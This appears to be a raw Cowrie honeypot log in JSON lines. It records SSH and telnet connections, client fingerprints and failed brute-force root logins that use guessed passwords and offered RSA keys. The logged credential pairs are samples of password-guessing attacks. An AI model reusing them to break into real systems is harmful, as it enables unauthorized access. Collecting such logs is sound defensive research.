{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:12.721047Z","src_ip":"198.12.251.137","session":"ec74cd253c2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle2024","message":"login attempt [root/oracle2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:12.920886Z","src_ip":"198.12.251.137","session":"ec74cd253c2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:13.992061Z","src_ip":"198.12.251.137","session":"ec74cd253c2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.22.211.47","src_port":59108,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bf4a1d68ef2","protocol":"ssh","message":"New connection: 77.22.211.47:59108 (10.17.0.5:22) [session: 7bf4a1d68ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:23.528300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:23.531518Z","src_ip":"77.22.211.47","session":"7bf4a1d68ef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:23.631687Z","src_ip":"77.22.211.47","session":"7bf4a1d68ef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2018","message":"login attempt [root/unitedstates2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:23.929019Z","src_ip":"77.22.211.47","session":"7bf4a1d68ef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:25.032085Z","src_ip":"77.22.211.47","session":"7bf4a1d68ef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":55384,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3b9bf431b34","protocol":"telnet","message":"New connection: 107.6.151.170:55384 (159.203.135.109:23) [session: d3b9bf431b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:28.395822Z"}
{"eventid":"cowrie.session.closed","duration":33.10078167915344,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:28.898216Z","src_ip":"170.64.224.25","session":"531acec3a607","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":46812,"dst_ip":"10.17.0.5","dst_port":22,"session":"e01034e176d4","protocol":"ssh","message":"New connection: 80.66.85.226:46812 (10.17.0.5:22) [session: e01034e176d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:32.017955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:32.024292Z","src_ip":"80.66.85.226","session":"e01034e176d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:32.112579Z","src_ip":"80.66.85.226","session":"e01034e176d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"081188","message":"login attempt [root/081188] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:32.379677Z","src_ip":"80.66.85.226","session":"e01034e176d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:33.471240Z","src_ip":"80.66.85.226","session":"e01034e176d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.49.230.178","src_port":48206,"dst_ip":"10.17.0.5","dst_port":22,"session":"74e92902fb87","protocol":"ssh","message":"New connection: 82.49.230.178:48206 (10.17.0.5:22) [session: 74e92902fb87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:49.576478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:49.580324Z","src_ip":"82.49.230.178","session":"74e92902fb87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:49.692264Z","src_ip":"82.49.230.178","session":"74e92902fb87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2018!","message":"login attempt [root/unitedstates2018!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:50.028481Z","src_ip":"82.49.230.178","session":"74e92902fb87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:51.142228Z","src_ip":"82.49.230.178","session":"74e92902fb87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.92.241.150","src_port":45698,"dst_ip":"10.17.0.5","dst_port":22,"session":"3be6c83cd333","protocol":"ssh","message":"New connection: 188.92.241.150:45698 (10.17.0.5:22) [session: 3be6c83cd333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:58.802892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:58.806909Z","src_ip":"188.92.241.150","session":"3be6c83cd333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:58.946220Z","src_ip":"188.92.241.150","session":"3be6c83cd333","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1008611","message":"login attempt [root/1008611] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:59.527934Z","src_ip":"188.92.241.150","session":"3be6c83cd333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.366415977478027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:51:59.762129Z","src_ip":"107.6.151.170","session":"d3b9bf431b34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:00.667031Z","src_ip":"188.92.241.150","session":"3be6c83cd333","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.23.226","src_port":33386,"dst_ip":"10.17.0.5","dst_port":22,"session":"525bac3d6756","protocol":"ssh","message":"New connection: 23.94.23.226:33386 (10.17.0.5:22) [session: 525bac3d6756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:09.232264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:09.235897Z","src_ip":"23.94.23.226","session":"525bac3d6756","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:09.307816Z","src_ip":"23.94.23.226","session":"525bac3d6756","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:f1:25:df:87:5e:62:8e:8f:45:d8:25:70:72:5f:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDud4BMex/oDBLZA71nipnSnubpjtHBrr/aK1nPKLTmKwv0hX6o799LZENlfjADjL2rPVbiOTDfBxlxtAPzwBJ/QgpEt+F2FVh+j7aAzF+sQQcWcgWh0pN5q5sqSPgmBgoETqv8Afzz6cK+P9pYnL94zvIq1z2oMc1e7s+DZmRYTUFD76J5URxXgGfSrU1kJA1iejzcEMAilpF7sNetP38li+YuMg+lk70JLiZb9QeS1qyGOhe/b2YSBivrDd/P2O+RR8wBFkKL/ZqqTaBBYn0nQlPfRtTKV8xIJHFiYZBk4J7HuRTW4KONLjZWErKiZ5+AM6Glf13D7XaPPHnQhVgq7yX0d5XFgDcYaRlhhpGlkP6crzH1U+LBNmAP46KXQu+gj91KNMt2S4cQbExp6IOyHAM7ah9jlx69ROjqnXBEXkztTeuaEFkQAyG5fYKpmzcs/CUz3hSdeqJvgLIMb/JZGBCjqm7omD/oG8KWFefTedltv6bKwlE+vaQlfcC0LHRgrYf3RJVPUAUT5MJZP7+H85H1S3TkAQV1NRowLKYPVHj0XfNyQiApdzBxLplMqiwY3CQOXZv1KcRzEw2wsznN7srfwsaK7OhQ32DOTN5GcaXeG226+k0ujZAC87p3zWc1PQiRvQ5Qmerg6edwwTOEFmWopKdPBOAX9v4rWmCkFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:f1:25:df:87:5e:62:8e:8f:45:d8:25:70:72:5f:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:09.648620Z","src_ip":"23.94.23.226","session":"525bac3d6756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:f1:25:df:87:5e:62:8e:8f:45:d8:25:70:72:5f:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDud4BMex/oDBLZA71nipnSnubpjtHBrr/aK1nPKLTmKwv0hX6o799LZENlfjADjL2rPVbiOTDfBxlxtAPzwBJ/QgpEt+F2FVh+j7aAzF+sQQcWcgWh0pN5q5sqSPgmBgoETqv8Afzz6cK+P9pYnL94zvIq1z2oMc1e7s+DZmRYTUFD76J5URxXgGfSrU1kJA1iejzcEMAilpF7sNetP38li+YuMg+lk70JLiZb9QeS1qyGOhe/b2YSBivrDd/P2O+RR8wBFkKL/ZqqTaBBYn0nQlPfRtTKV8xIJHFiYZBk4J7HuRTW4KONLjZWErKiZ5+AM6Glf13D7XaPPHnQhVgq7yX0d5XFgDcYaRlhhpGlkP6crzH1U+LBNmAP46KXQu+gj91KNMt2S4cQbExp6IOyHAM7ah9jlx69ROjqnXBEXkztTeuaEFkQAyG5fYKpmzcs/CUz3hSdeqJvgLIMb/JZGBCjqm7omD/oG8KWFefTedltv6bKwlE+vaQlfcC0LHRgrYf3RJVPUAUT5MJZP7+H85H1S3TkAQV1NRowLKYPVHj0XfNyQiApdzBxLplMqiwY3CQOXZv1KcRzEw2wsznN7srfwsaK7OhQ32DOTN5GcaXeG226+k0ujZAC87p3zWc1PQiRvQ5Qmerg6edwwTOEFmWopKdPBOAX9v4rWmCkFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:09.651520Z","src_ip":"23.94.23.226","session":"525bac3d6756","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:ef:d5:23:83:3f:38:ae:a9:45:6a:ff:2f:aa:68:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSS0/aYmR9vR9Wm2pV/8+c4SZYQSfFmGOJuVefU8KOnkMsmBcfwHsGvMWh0YFBhi0jrI2T6miHYVMz3/GBgF2uE37WcAzoyrdPtLKe+9Z8jPhk0vIXTW8f52QjmFJsKXn2qTpb0lB3xTAJG/U9OelzVtPy3LdOj+W6d7RCEqvD7x6upZZ6wxEOq6Z36f3NvIcCYbDvQIuC2LmniVRT1l/6xPtwNciXA7OJKZvLqE/OyZJu6fa7/dBif5k627jG393cT99238Y4C+bRluFHmDGJe8g/MM03NTwa38MUzbPli1W5fEjUxW9U0DxbuPKhrCYL7I7tWc5X0AXnx4aa1av/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:ef:d5:23:83:3f:38:ae:a9:45:6a:ff:2f:aa:68:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:09.723991Z","src_ip":"23.94.23.226","session":"525bac3d6756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:ef:d5:23:83:3f:38:ae:a9:45:6a:ff:2f:aa:68:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSS0/aYmR9vR9Wm2pV/8+c4SZYQSfFmGOJuVefU8KOnkMsmBcfwHsGvMWh0YFBhi0jrI2T6miHYVMz3/GBgF2uE37WcAzoyrdPtLKe+9Z8jPhk0vIXTW8f52QjmFJsKXn2qTpb0lB3xTAJG/U9OelzVtPy3LdOj+W6d7RCEqvD7x6upZZ6wxEOq6Z36f3NvIcCYbDvQIuC2LmniVRT1l/6xPtwNciXA7OJKZvLqE/OyZJu6fa7/dBif5k627jG393cT99238Y4C+bRluFHmDGJe8g/MM03NTwa38MUzbPli1W5fEjUxW9U0DxbuPKhrCYL7I7tWc5X0AXnx4aa1av/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:09.727691Z","src_ip":"23.94.23.226","session":"525bac3d6756","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:97:46:60:1e:6e:48:77:d6:73:ca:36:d2:05:ec:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmHfEWzAYpsj1eb51YvzO3UZVATbyOgPjvwC5dtm65caI36NfA7Ya0VPhJC8BzN+MPkHLq+Q/10zOu3wD5q3KeLEd7gTJKsKkbAOwk74Svl/UmiEr6YzQrojYST3X+ZflmPCpZJ4HTldZLCg/0FZji8HiWH83BuAVSbf1D+cVQppDsM1v+zLE8XrnMU75lyDb9exKLFaK82a0YVSF+5+q3tH04clQjmliwuU3OpsT9mymsjealCUU5H67df/gBPIXDmam1i3MdYyiAR+Vi0oRVbvF6sHuVhej6egXH/kJEMwkfpTFs7ArFO6oNgbxCQXhjsUbyTFZJoLBtrsHEvZA1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:97:46:60:1e:6e:48:77:d6:73:ca:36:d2:05:ec:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:09.800300Z","src_ip":"23.94.23.226","session":"525bac3d6756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:97:46:60:1e:6e:48:77:d6:73:ca:36:d2:05:ec:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmHfEWzAYpsj1eb51YvzO3UZVATbyOgPjvwC5dtm65caI36NfA7Ya0VPhJC8BzN+MPkHLq+Q/10zOu3wD5q3KeLEd7gTJKsKkbAOwk74Svl/UmiEr6YzQrojYST3X+ZflmPCpZJ4HTldZLCg/0FZji8HiWH83BuAVSbf1D+cVQppDsM1v+zLE8XrnMU75lyDb9exKLFaK82a0YVSF+5+q3tH04clQjmliwuU3OpsT9mymsjealCUU5H67df/gBPIXDmam1i3MdYyiAR+Vi0oRVbvF6sHuVhej6egXH/kJEMwkfpTFs7ArFO6oNgbxCQXhjsUbyTFZJoLBtrsHEvZA1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:09.803062Z","src_ip":"23.94.23.226","session":"525bac3d6756","protocol":"ssh"}
